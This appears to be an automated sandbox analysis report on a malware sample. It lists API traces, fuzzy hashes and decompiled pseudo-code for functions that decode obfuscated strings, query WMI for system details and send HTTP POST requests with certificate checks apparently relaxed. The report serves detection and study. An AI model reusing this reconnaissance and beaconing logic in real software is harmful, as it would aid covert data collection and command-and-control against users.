Part of subcall function 6C4DB988: GetLastError.KERNEL32(?,?,6C4DBABE,74EC17D9,6C4D0000), ref: 6C4DB9A9
Part of subcall function 6C4DB988: GetCurrentProcess.KERNEL32(00000008,6C4D0000,?,?,6C4DBABE,74EC17D9,6C4D0000), ref: 6C4DB9C2
Part of subcall function 6C4DB988: OpenProcessToken.ADVAPI32(00000000,?,?,6C4DBABE,74EC17D9,6C4D0000), ref: 6C4DB9C9

Part of subcall function 6C4DB9DA: GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,74EC17D9,00000000,6C4D0000,00000000,00000000,?,6C4DBA79,?,00000000,?,6C4DD0EA), ref: 6C4DB9F5
Part of subcall function 6C4DB9DA: GetLastError.KERNEL32(?,6C4DBA79,?,00000000,?,6C4DD0EA), ref: 6C4DB9FC

CloseHandle.KERNEL32(?,00000000,74EC17D9,6C4D0000), ref: 6C4DBB48

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: Token$CurrentErrorLastOpenProcessThread$CloseHandleInformation
String ID:
API String ID: 1020899596-0
Opcode ID: 18783353b81cacd60fe132888ff845ccef2ca1342db1e42ef1783dce7dfb6399
Instruction ID: 8d98658af8c4422ce2725680038746689863af82a681d14438e2e0842e51c150
Opcode Fuzzy Hash: 18783353b81cacd60fe132888ff845ccef2ca1342db1e42ef1783dce7dfb6399
Instruction Fuzzy Hash: 8C219F71A00308AFDB00EFA9D895EAEBBF8FF08715F524069E641E7751D730EA018B90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6C4DDB7E, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 388
memoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E6C4DDB7E(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4) {
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				void* _v28;
				signed int _v32;
				char _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				signed int _v60;
				char* _v72;
				signed short _v80;
				signed int _v84;
				char _v88;
				char _v92;
				char _v96;
				intOrPtr _v100;
				char _v104;
				char _v616;
				intOrPtr* _t159;
				char _t165;
				signed int _t166;
				signed int _t173;
				signed int _t178;
				signed int _t186;
				intOrPtr* _t187;
				signed int _t188;
				signed int _t192;
				intOrPtr* _t193;
				intOrPtr _t200;
				intOrPtr* _t205;
				signed int _t207;
				signed int _t209;
				intOrPtr* _t210;
				intOrPtr _t212;
				intOrPtr* _t213;
				signed int _t214;
				char _t217;
				signed int _t218;
				signed int _t219;
				signed int _t230;
				signed int _t235;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				intOrPtr* _t247;
				intOrPtr* _t251;
				signed int _t252;
				intOrPtr* _t253;
				void* _t255;
				intOrPtr* _t261;
				signed int _t262;
				signed int _t283;
				signed int _t289;
				char* _t298;
				void* _t320;
				signed int _t322;
				intOrPtr* _t323;
				intOrPtr _t324;
				signed int _t327;
				intOrPtr* _t328;
				intOrPtr* _t329;

				_v32 = _v32 & 0x00000000;
				_v60 = _v60 & 0x00000000;
				_v56 = __edx;
				_v100 = __ecx;
				_t159 = E6C4DD565(__ecx);
				_t251 = _t159;
				_v104 = _t251;
				if(_t251 == 0) {
					return _t159;
				}
				_t320 = E6C4D85E5(0x10);
				_v36 = _t320;
				_pop(_t255);
				if(_t320 == 0) {
					L53:
					E6C4D85FB( &_v60, 0xfffffffe);
					E6C4DD619( &_v104);
					return _t320;
				}
				_t165 = E6C4D95C2(_t255, 0x536);
				 *_t328 = 0x609;
				_v52 = _t165;
				_t166 = E6C4D95C2(_t255);
				_push(0);
				_push(_v56);
				_v20 = _t166;
				_push(_t166);
				_push(_a4);
				_t322 = E6C4D92C6(_t165);
				_v60 = _t322;
				E6C4D85B6( &_v52);
				E6C4D85B6( &_v20);
				_t329 = _t328 + 0x20;
				if(_t322 != 0) {
					_t323 = __imp__#2;
					_v40 =  *_t323(_t322);
					_t173 = E6C4D95C2(_t255, 0x9e4);
					_v20 = _t173;
					_v52 =  *_t323(_t173);
					E6C4D85B6( &_v20);
					_t324 = _v40;
					_t261 =  *_t251;
					_t252 = 0;
					_t178 =  *((intOrPtr*)( *_t261 + 0x50))(_t261, _v52, _t324, 0, 0,  &_v32);
					__eflags = _t178;
					if(_t178 != 0) {
						L52:
						__imp__#6(_t324);
						__imp__#6(_v52);
						goto L53;
					}
					_t262 = _v32;
					_v28 = 0;
					_v20 = 0;
					__eflags = _t262;
					if(_t262 == 0) {
						L49:
						 *((intOrPtr*)( *_t262 + 8))(_t262);
						__eflags = _t252;
						if(_t252 == 0) {
							E6C4D85FB( &_v36, 0);
							_t320 = _v36;
						} else {
							 *(_t320 + 8) = _t252;
							 *_t320 = E6C4D91C4(_v100);
							 *((intOrPtr*)(_t320 + 4)) = E6C4D91C4(_v56);
						}
						goto L52;
					} else {
						goto L6;
					}
					while(1) {
						L6:
						_t186 =  *((intOrPtr*)( *_t262 + 0x10))(_t262, 0xea60, 1,  &_v28,  &_v84);
						__eflags = _t186;
						if(_t186 != 0) {
							break;
						}
						_v16 = 0;
						_v48 = 0;
						_v12 = 0;
						_v24 = 0;
						__eflags = _v84;
						if(_v84 == 0) {
							break;
						}
						_t187 = _v28;
						_t188 =  *((intOrPtr*)( *_t187 + 0x1c))(_t187, 0, 0x40, 0,  &_v24);
						__eflags = _t188;
						if(_t188 >= 0) {
							__imp__#20(_v24, 1,  &_v16);
							__imp__#19(_v24, 1,  &_v48);
							_t46 = _t320 + 0xc; // 0xc
							_t253 = _t46;
							_t327 = _t252 << 3;
							_t47 = _t327 + 8; // 0x8
							_t192 = E6C4D8679(_t327, _t47);
							__eflags = _t192;
							if(_t192 == 0) {
								__imp__#16(_v24);
								_t193 = _v28;
								 *((intOrPtr*)( *_t193 + 8))(_t193);
								L46:
								_t252 = _v20;
								break;
							}
							 *(_t327 +  *_t253) = _v48 - _v16 + 1;
							 *((intOrPtr*)(_t327 +  *_t253 + 4)) = E6C4D85E5( *(_t327 +  *_t253) << 3);
							_t200 =  *_t253;
							__eflags =  *(_t327 + _t200 + 4);
							if( *(_t327 + _t200 + 4) == 0) {
								_t136 = _t320 + 0xc; // 0xc
								E6C4D85FB(_t136, 0);
								E6C4D85FB( &_v36, 0);
								__imp__#16(_v24);
								_t205 = _v28;
								 *((intOrPtr*)( *_t205 + 8))(_t205);
								_t320 = _v36;
								goto L46;
							}
							_t207 = _v16;
							while(1) {
								_v12 = _t207;
								__eflags = _t207 - _v48;
								if(_t207 > _v48) {
									break;
								}
								_v44 = _v44 & 0x00000000;
								_t209 =  &_v12;
								__imp__#25(_v24, _t209,  &_v44);
								__eflags = _t209;
								if(_t209 < 0) {
									break;
								}
								_t212 = E6C4D91C4(_v44);
								 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + (_v12 - _v16) * 8)) = _t212;
								_t213 = _v28;
								_t281 =  *_t213;
								_t214 =  *((intOrPtr*)( *_t213 + 0x10))(_t213, _v44, 0,  &_v80, 0, 0);
								__eflags = _t214;
								if(_t214 < 0) {
									L39:
									__imp__#6(_v44);
									_t207 = _v12 + 1;
									__eflags = _t207;
									continue;
								}
								_v92 = E6C4D95C2(_t281, 0x250);
								 *_t329 = 0x4cc;
								_t217 = E6C4D95C2(_t281);
								_t283 = _v80;
								_v96 = _t217;
								_t218 = _t283 & 0x0000ffff;
								__eflags = _t218 - 0xb;
								if(__eflags > 0) {
									_t219 = _t218 - 0x10;
									__eflags = _t219;
									if(_t219 == 0) {
										L35:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E6C4D85E5(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											L38:
											E6C4D85B6( &_v92);
											E6C4D85B6( &_v96);
											__imp__#9( &_v80);
											goto L39;
										}
										_push(_v72);
										_push(L"%d");
										L37:
										_push(0xc);
										_push(_t289);
										E6C4D9621();
										_t329 = _t329 + 0x10;
										goto L38;
									}
									_t230 = _t219 - 1;
									__eflags = _t230;
									if(_t230 == 0) {
										L33:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E6C4D85E5(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											goto L38;
										}
										_push(_v72);
										_push(L"%u");
										goto L37;
									}
									_t235 = _t230 - 1;
									__eflags = _t235;
									if(_t235 == 0) {
										goto L33;
									}
									__eflags = _t235 == 1;
									if(_t235 == 1) {
										goto L33;
									}
									L28:
									__eflags = _t283 & 0x00002000;
									if((_t283 & 0x00002000) == 0) {
										_v88 = E6C4D95C2(_t283, 0x219);
										E6C4D9621( &_v616, 0x100, _t237, _v80 & 0x0000ffff);
										E6C4D85B6( &_v88);
										_t329 = _t329 + 0x18;
										_t298 =  &_v616;
										L31:
										_t242 = E6C4D91C4(_t298);
										L32:
										 *( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8) = _t242;
										goto L38;
									}
									_t242 = E6C4DDA62( &_v80);
									goto L32;
								}
								if(__eflags == 0) {
									__eflags = _v72 - 0xffff;
									_t298 = L"TRUE";
									if(_v72 != 0xffff) {
										_t298 = L"FALSE";
									}
									goto L31;
								}
								_t243 = _t218 - 1;
								__eflags = _t243;
								if(_t243 == 0) {
									goto L38;
								}
								_t244 = _t243 - 1;
								__eflags = _t244;
								if(_t244 == 0) {
									goto L35;
								}
								_t245 = _t244 - 1;
								__eflags = _t245;
								if(_t245 == 0) {
									goto L35;
								}
								__eflags = _t245 != 5;
								if(_t245 != 5) {
									goto L28;
								}
								_t298 = _v72;
								goto L31;
							}
							__imp__#16(_v24);
							_t210 = _v28;
							 *((intOrPtr*)( *_t210 + 8))(_t210);
							_t252 = _v20;
							L42:
							_t262 = _v32;
							_t252 = _t252 + 1;
							_v20 = _t252;
							__eflags = _t262;
							if(_t262 != 0) {
								continue;
							}
							L48:
							_t324 = _v40;
							goto L49;
						}
						_t247 = _v28;
						 *((intOrPtr*)( *_t247 + 8))(_t247);
						goto L42;
					}
					_t262 = _v32;
					goto L48;
				} else {
					E6C4D85FB( &_v36, _t322);
					_t320 = _v36;
					goto L53;
				}
			}

0x6c4ddb87
0x6c4ddb8d
0x6c4ddb94
0x6c4ddb97
0x6c4ddb9a
0x6c4ddb9f
0x6c4ddba1
0x6c4ddba6
0x6c4ddfee
0x6c4ddfee
0x6c4ddbb3
0x6c4ddbb5
0x6c4ddbb8
0x6c4ddbbb
0x6c4ddfd3
0x6c4ddfd9
0x6c4ddfe3
0x00000000
0x6c4ddfe8
0x6c4ddbc6
0x6c4ddbcd
0x6c4ddbd4
0x6c4ddbd7
0x6c4ddbdc
0x6c4ddbde
0x6c4ddbe1
0x6c4ddbe4
0x6c4ddbe5
0x6c4ddbee
0x6c4ddbf4
0x6c4ddbf7
0x6c4ddc00
0x6c4ddc05
0x6c4ddc0a
0x6c4ddc21
0x6c4ddc2e
0x6c4ddc31
0x6c4ddc38
0x6c4ddc3d
0x6c4ddc44
0x6c4ddc49
0x6c4ddc50
0x6c4ddc52
0x6c4ddc5e
0x6c4ddc61
0x6c4ddc63
0x6c4ddfc3
0x6c4ddfc4
0x6c4ddfcd
0x00000000
0x6c4ddfcd
0x6c4ddc69
0x6c4ddc6c
0x6c4ddc6f
0x6c4ddc72
0x6c4ddc74
0x6c4ddf8f
0x6c4ddf92
0x6c4ddf95
0x6c4ddf97
0x6c4ddfb9
0x6c4ddfbe
0x6c4ddf99
0x6c4ddf9c
0x6c4ddfa7
0x6c4ddfae
0x6c4ddfae
0x00000000
0x00000000
0x00000000
0x00000000
0x6c4ddc7a
0x6c4ddc7a
0x6c4ddc8c
0x6c4ddc8f
0x6c4ddc91
0x00000000
0x00000000
0x6c4ddc99
0x6c4ddc9c
0x6c4ddc9f
0x6c4ddca2
0x6c4ddca5
0x6c4ddca8
0x00000000
0x00000000
0x6c4ddcae
0x6c4ddcbc
0x6c4ddcbf
0x6c4ddcc1
0x6c4ddcda
0x6c4ddce9
0x6c4ddcf1
0x6c4ddcf1
0x6c4ddcf4
0x6c4ddcfb
0x6c4ddcff
0x6c4ddd05
0x6c4ddd07
0x6c4ddf77
0x6c4ddf7d
0x6c4ddf83
0x6c4ddf86
0x6c4ddf86
0x00000000
0x6c4ddf86
0x6c4ddd16
0x6c4ddd2a
0x6c4ddd2e
0x6c4ddd30
0x6c4ddd35
0x6c4ddf44
0x6c4ddf4a
0x6c4ddf55
0x6c4ddf60
0x6c4ddf66
0x6c4ddf6c
0x6c4ddf6f
0x00000000
0x6c4ddf6f
0x6c4ddd3b
0x6c4ddf12
0x6c4ddf12
0x6c4ddf15
0x6c4ddf18
0x00000000
0x00000000
0x6c4ddd43
0x6c4ddd4b
0x6c4ddd52
0x6c4ddd58
0x6c4ddd5a
0x00000000
0x00000000
0x6c4ddd63
0x6c4ddd78
0x6c4ddd7e
0x6c4ddd87
0x6c4ddd8a
0x6c4ddd8d
0x6c4ddd8f
0x6c4ddf05
0x6c4ddf08
0x6c4ddf11
0x6c4ddf11
0x00000000
0x6c4ddf11
0x6c4ddd9f
0x6c4ddda2
0x6c4ddda9
0x6c4dddaf
0x6c4dddb2
0x6c4dddb5
0x6c4dddb8
0x6c4dddbb
0x6c4dddf7
0x6c4dddf7
0x6c4dddfa
0x6c4ddea6
0x6c4ddeba
0x6c4ddeca
0x6c4ddece
0x6c4dded0
0x6c4ddee7
0x6c4ddeeb
0x6c4ddef4
0x6c4ddeff
0x00000000
0x6c4ddeff
0x6c4dded6
0x6c4dded7
0x6c4ddedc
0x6c4ddedc
0x6c4ddede
0x6c4ddedf
0x6c4ddee4
0x00000000
0x6c4ddee4
0x6c4dde00
0x6c4dde00
0x6c4dde03
0x6c4dde6e
0x6c4dde82
0x6c4dde92
0x6c4dde96
0x6c4dde98
0x00000000
0x00000000
0x6c4dde9e
0x6c4dde9f
0x00000000
0x6c4dde9f
0x6c4dde05
0x6c4dde05
0x6c4dde08
0x00000000
0x00000000
0x6c4dde0a
0x6c4dde0d
0x00000000
0x00000000
0x6c4dde0f
0x6c4dde0f
0x6c4dde15
0x6c4dde31
0x6c4dde40
0x6c4dde49
0x6c4dde4e
0x6c4dde51
0x6c4dde57
0x6c4dde57
0x6c4dde5c
0x6c4dde68
0x00000000
0x6c4dde68
0x6c4dde1a
0x00000000
0x6c4dde1a
0x6c4dddbd
0x6c4ddde4
0x6c4ddde9
0x6c4dddee
0x6c4dddf0
0x6c4dddf0
0x00000000
0x6c4dddee
0x6c4dddbf
0x6c4dddbf
0x6c4dddc2
0x00000000
0x00000000
0x6c4dddc8
0x6c4dddc8
0x6c4dddcb
0x00000000
0x00000000
0x6c4dddd1
0x6c4dddd1
0x6c4dddd4
0x00000000
0x00000000
0x6c4dddda
0x6c4ddddd
0x00000000
0x00000000
0x6c4ddddf
0x00000000
0x6c4ddddf
0x6c4ddf21
0x6c4ddf27
0x6c4ddf2d
0x6c4ddf30
0x6c4ddf33
0x6c4ddf33
0x6c4ddf36
0x6c4ddf37
0x6c4ddf3a
0x6c4ddf3c
0x00000000
0x00000000
0x6c4ddf8c
0x6c4ddf8c
0x00000000
0x6c4ddf8c
0x6c4ddcc3
0x6c4ddcc9
0x00000000
0x6c4ddcc9
0x6c4ddf89
0x00000000
0x6c4ddc0c
0x6c4ddc11
0x6c4ddc16
0x00000000
0x6c4ddc1a

APIs

Part of subcall function 6C4DD565: CoInitializeEx.OLE32(00000000,00000000), ref: 6C4DD578
Part of subcall function 6C4DD565: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 6C4DD589
Part of subcall function 6C4DD565: CoCreateInstance.OLE32(6C4EB848,00000000,00000001,6C4EB858,?), ref: 6C4DD5A0
Part of subcall function 6C4DD565: SysAllocString.OLEAUT32(00000000), ref: 6C4DD5AB
Part of subcall function 6C4DD565: CoSetProxyBlanket.OLE32(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 6C4DD5D6

Part of subcall function 6C4D85E5: HeapAlloc.KERNEL32(00000008,?,?,6C4D8F65,00000100,?,6C4D5FAC), ref: 6C4D85F3

SysAllocString.OLEAUT32(00000000), ref: 6C4DDC27
SysAllocString.OLEAUT32(00000000), ref: 6C4DDC3B
SysFreeString.OLEAUT32(?), ref: 6C4DDFC4
SysFreeString.OLEAUT32(?), ref: 6C4DDFCD

Part of subcall function 6C4D85FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 6C4D8641

Strings

FALSE, xrefs: 6C4DDDF0
TRUE, xrefs: 6C4DDDE9

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Alloc$Free$HeapInitialize$BlanketCreateInstanceProxySecurity
String ID: FALSE$TRUE
API String ID: 224402418-1412513891
Opcode ID: 5940e15aa1277199cc968066f7ceacceee8a85f4c38729613282f5d5d70d6bb8
Instruction ID: d1185c38b36cab0f8c711488f998f8ceda79fce5d3fde8b30957d9ef8b4552a7
Opcode Fuzzy Hash: 5940e15aa1277199cc968066f7ceacceee8a85f4c38729613282f5d5d70d6bb8
Instruction Fuzzy Hash: A8E15E71A002199FDF04EFA4C8A4EEEBBB5FF49314F12445EE515A7680DB31A905CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DE6AA, Relevance: 15.3, APIs: 9, Strings: 1, Instructions: 305
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6C4DE6AA(void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr _a24) {
				char _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				int _v76;
				void* _v80;
				intOrPtr _v100;
				int _v104;
				void* _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				char* _v120;
				void _v124;
				char _v140;
				void _v396;
				void _v652;
				intOrPtr _t105;
				intOrPtr _t113;
				intOrPtr* _t115;
				intOrPtr _t118;
				intOrPtr _t121;
				intOrPtr _t124;
				intOrPtr _t127;
				intOrPtr _t131;
				char _t133;
				intOrPtr _t136;
				char _t138;
				char _t139;
				intOrPtr _t141;
				intOrPtr _t147;
				intOrPtr _t154;
				intOrPtr _t158;
				intOrPtr _t162;
				intOrPtr _t164;
				intOrPtr _t166;
				intOrPtr _t172;
				intOrPtr _t176;
				void* _t183;
				void* _t185;
				intOrPtr _t186;
				char _t195;
				intOrPtr _t203;
				intOrPtr _t204;
				signed int _t209;
				void _t212;
				intOrPtr _t213;
				void* _t214;
				intOrPtr _t216;
				char _t217;
				intOrPtr _t218;
				signed int _t219;
				signed int _t220;
				void* _t221;

				_v40 = _v40 & 0x00000000;
				_v24 = 4;
				_v36 = 1;
				_t214 = __edx;
				memset( &_v396, 0, 0x100);
				memset( &_v652, 0, 0x100);
				_v64 = E6C4D95A8(0x85b);
				_v60 = E6C4D95A8(0xdc9);
				_v56 = E6C4D95A8(0x65d);
				_v52 = E6C4D95A8(0xdd3);
				_t105 = E6C4D95A8(0xb74);
				_v44 = _v44 & 0;
				_t212 = 0x3c;
				_v48 = _t105;
				memset( &_v124, 0, 0x100);
				_v116 = 0x10;
				_v120 =  &_v140;
				_v124 = _t212;
				_v108 =  &_v396;
				_v104 = 0x100;
				_v80 =  &_v652;
				_push( &_v124);
				_push(0);
				_v76 = 0x100;
				_push(E6C4DC3BB(_t214));
				_t113 =  *0x6c4ee6a4; // 0x0
				_push(_t214);
				if( *((intOrPtr*)(_t113 + 0x28))() != 0) {
					_t209 = 0;
					_v20 = 0;
					do {
						_t115 =  *0x6c4ee6a4; // 0x0
						_v12 = 0x8404f700;
						_t213 =  *_t115( *0x6c4ee788,  *((intOrPtr*)(_t221 + _t209 * 4 - 0x24)), 0, 0, 0);
						if(_t213 != 0) {
							_t195 = 3;
							_t185 = 4;
							_v8 = _t195;
							_t118 =  *0x6c4ee6a4; // 0x0
							 *((intOrPtr*)(_t118 + 0x14))(_t213, _t195,  &_v8, _t185);
							_v8 = 0x3a98;
							_t121 =  *0x6c4ee6a4; // 0x0
							 *((intOrPtr*)(_t121 + 0x14))(_t213, 2,  &_v8, _t185);
							_v8 = 0x493e0;
							_t124 =  *0x6c4ee6a4; // 0x0
							 *((intOrPtr*)(_t124 + 0x14))(_t213, 6,  &_v8, _t185);
							_v8 = 0x493e0;
							_t127 =  *0x6c4ee6a4; // 0x0
							 *((intOrPtr*)(_t127 + 0x14))(_t213, 5,  &_v8, _t185);
							_t131 =  *0x6c4ee6a4; // 0x0
							_t186 =  *((intOrPtr*)(_t131 + 0x1c))(_t213,  &_v396, _v100, 0, 0, 3, 0, 0);
							if(_a24 != 0) {
								E6C4D97ED(_a24);
							}
							if(_t186 != 0) {
								_t133 = 0x8484f700;
								if(_v112 != 4) {
									_t133 = _v12;
								}
								_t136 =  *0x6c4ee6a4; // 0x0
								_t216 =  *((intOrPtr*)(_t136 + 0x20))(_t186, "POST",  &_v652, 0, 0,  &_v64, _t133, 0);
								_v8 = _t216;
								if(_a24 != 0) {
									E6C4D97ED(_a24);
								}
								if(_t216 != 0) {
									_t138 = 4;
									if(_v112 != _t138) {
										L19:
										_t139 = E6C4D95A8(0x777);
										_t217 = _t139;
										_v12 = _t217;
										_t141 =  *0x6c4ee6a4; // 0x0
										_t218 = _v8;
										_v28 =  *((intOrPtr*)(_t141 + 0x24))(_t218, _t217, E6C4DC3BB(_t217), _a4, _a8);
										E6C4D85A3( &_v12);
										if(_a24 != 0) {
											E6C4D97ED(_a24);
										}
										if(_v28 != 0) {
											L28:
											_v24 = 8;
											_push(0);
											_v32 = 0;
											_v28 = 0;
											_push( &_v24);
											_push( &_v32);
											_t147 =  *0x6c4ee6a4; // 0x0
											_push(0x13);
											_push(_t218);
											if( *((intOrPtr*)(_t147 + 0xc))() != 0) {
												_t219 = E6C4D972A( &_v32);
												if(_t219 == 0xc8) {
													 *_a20 = _v8;
													 *_a12 = _t213;
													 *_a16 = _t186;
													return 0;
												}
												_t220 =  ~_t219;
												L32:
												_t154 =  *0x6c4ee6a4; // 0x0
												 *((intOrPtr*)(_t154 + 8))(_v8);
												L33:
												if(_t186 != 0) {
													_t158 =  *0x6c4ee6a4; // 0x0
													 *((intOrPtr*)(_t158 + 8))(_t186);
												}
												if(_t213 != 0) {
													_t203 =  *0x6c4ee6a4; // 0x0
													 *((intOrPtr*)(_t203 + 8))(_t213);
												}
												return _t220;
											}
											GetLastError();
											_t220 = 0xfffffff8;
											goto L32;
										} else {
											GetLastError();
											_t162 =  *0x6c4ee6a4; // 0x0
											 *((intOrPtr*)(_t162 + 8))(_t218);
											_t218 = 0;
											goto L23;
										}
									}
									_v12 = _t138;
									_push( &_v12);
									_push( &_v16);
									_t172 =  *0x6c4ee6a4; // 0x0
									_push(0x1f);
									_push(_t216);
									if( *((intOrPtr*)(_t172 + 0x18))() == 0) {
										L18:
										GetLastError();
										goto L19;
									}
									_v16 = _v16 | 0x00003380;
									_push(4);
									_push( &_v16);
									_t176 =  *0x6c4ee6a4; // 0x0
									_push(0x1f);
									_push(_t216);
									if( *((intOrPtr*)(_t176 + 0x14))() != 0) {
										goto L19;
									}
									goto L18;
								} else {
									GetLastError();
									L23:
									_t164 =  *0x6c4ee6a4; // 0x0
									 *((intOrPtr*)(_t164 + 8))(_t186);
									_t186 = 0;
									goto L24;
								}
							} else {
								GetLastError();
								L24:
								_t166 =  *0x6c4ee6a4; // 0x0
								 *((intOrPtr*)(_t166 + 8))(_t213);
								_t213 = 0;
								goto L25;
							}
						}
						GetLastError();
						L25:
						_t204 = _t218;
						_t209 = _v20 + 1;
						_v20 = _t209;
					} while (_t209 < 2);
					_v8 = _t218;
					if(_t204 != 0) {
						goto L28;
					}
					_t220 = 0xfffffffe;
					goto L33;
				}
				_t183 = 0xfffffffc;
				return _t183;
			}

0x6c4de6b3
0x6c4de6c5
0x6c4de6ce
0x6c4de6d8
0x6c4de6dc
0x6c4de6ed
0x6c4de704
0x6c4de711
0x6c4de71e
0x6c4de72b
0x6c4de72e
0x6c4de733
0x6c4de738
0x6c4de73a
0x6c4de742
0x6c4de74d
0x6c4de754
0x6c4de760
0x6c4de763
0x6c4de771
0x6c4de774
0x6c4de77a
0x6c4de77b
0x6c4de77d
0x6c4de786
0x6c4de787
0x6c4de78c
0x6c4de792
0x6c4de79c
0x6c4de79e
0x6c4de7a3
0x6c4de7a3
0x6c4de7b2
0x6c4de7c1
0x6c4de7c5
0x6c4de7d4
0x6c4de7d7
0x6c4de7dc
0x6c4de7e0
0x6c4de7e7
0x6c4de7ee
0x6c4de7f6
0x6c4de7fe
0x6c4de805
0x6c4de80d
0x6c4de815
0x6c4de81c
0x6c4de824
0x6c4de82c
0x6c4de841
0x6c4de84e
0x6c4de850
0x6c4de855
0x6c4de855
0x6c4de85c
0x6c4de86d
0x6c4de872
0x6c4de874
0x6c4de874
0x6c4de888
0x6c4de89a
0x6c4de89c
0x6c4de89f
0x6c4de8a4
0x6c4de8a4
0x6c4de8ab
0x6c4de8ba
0x6c4de8be
0x6c4de8fc
0x6c4de901
0x6c4de909
0x6c4de90e
0x6c4de919
0x6c4de91f
0x6c4de929
0x6c4de92c
0x6c4de935
0x6c4de93a
0x6c4de93a
0x6c4de943
0x6c4de98c
0x6c4de98e
0x6c4de995
0x6c4de996
0x6c4de999
0x6c4de99f
0x6c4de9a3
0x6c4de9a4
0x6c4de9a9
0x6c4de9ab
0x6c4de9b1
0x6c4de9c6
0x6c4de9ce
0x6c4dea03
0x6c4dea08
0x6c4dea0d
0x00000000
0x6c4dea0f
0x6c4de9d0
0x6c4de9d2
0x6c4de9d2
0x6c4de9db
0x6c4de9de
0x6c4de9e0
0x6c4de9e2
0x6c4de9e8
0x6c4de9e8
0x6c4de9ed
0x6c4de9ef
0x6c4de9f6
0x6c4de9f6
0x00000000
0x6c4de9f9
0x6c4de9b3
0x6c4de9bb
0x00000000
0x6c4de945
0x6c4de945
0x6c4de94b
0x6c4de951
0x6c4de954
0x00000000
0x6c4de954
0x6c4de943
0x6c4de8c0
0x6c4de8c6
0x6c4de8ca
0x6c4de8cb
0x6c4de8d0
0x6c4de8d2
0x6c4de8d8
0x6c4de8f6
0x6c4de8f6
0x00000000
0x6c4de8f6
0x6c4de8da
0x6c4de8e4
0x6c4de8e6
0x6c4de8e7
0x6c4de8ec
0x6c4de8ee
0x6c4de8f4
0x00000000
0x00000000
0x00000000
0x6c4de8ad
0x6c4de8ad
0x6c4de956
0x6c4de956
0x6c4de95c
0x6c4de95f
0x00000000
0x6c4de95f
0x6c4de85e
0x6c4de85e
0x6c4de961
0x6c4de961
0x6c4de967
0x6c4de96a
0x00000000
0x6c4de96a
0x6c4de85c
0x6c4de7c7
0x6c4de96c
0x6c4de96f
0x6c4de971
0x6c4de974
0x6c4de977
0x6c4de980
0x6c4de985
0x00000000
0x00000000
0x6c4de989
0x00000000
0x6c4de989
0x6c4de796
0x00000000

APIs

memset.MSVCRT ref: 6C4DE6DC
memset.MSVCRT ref: 6C4DE6ED
memset.MSVCRT ref: 6C4DE742
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,000007D0,00000000), ref: 6C4DE7C7

Strings

POST, xrefs: 6C4DE88D

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$ErrorLast
String ID: POST
API String ID: 2570506013-1814004025
Opcode ID: 541902b178ba722133cd3088c5500c5be95e0da27b3b1eae8c52c2d8e837271d
Instruction ID: 1cb634de8861af7b0e88714b19e75d66fe37750e9cd11a01f75806c61554c4e4
Opcode Fuzzy Hash: 541902b178ba722133cd3088c5500c5be95e0da27b3b1eae8c52c2d8e837271d
Instruction Fuzzy Hash: 56B18371E00218AFDF40EFA4C898EDEBBB8EF09315F124169F505E7291DB74AA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6C4E02EA, Relevance: 14.4, APIs: 2, Strings: 6, Instructions: 445COMMON

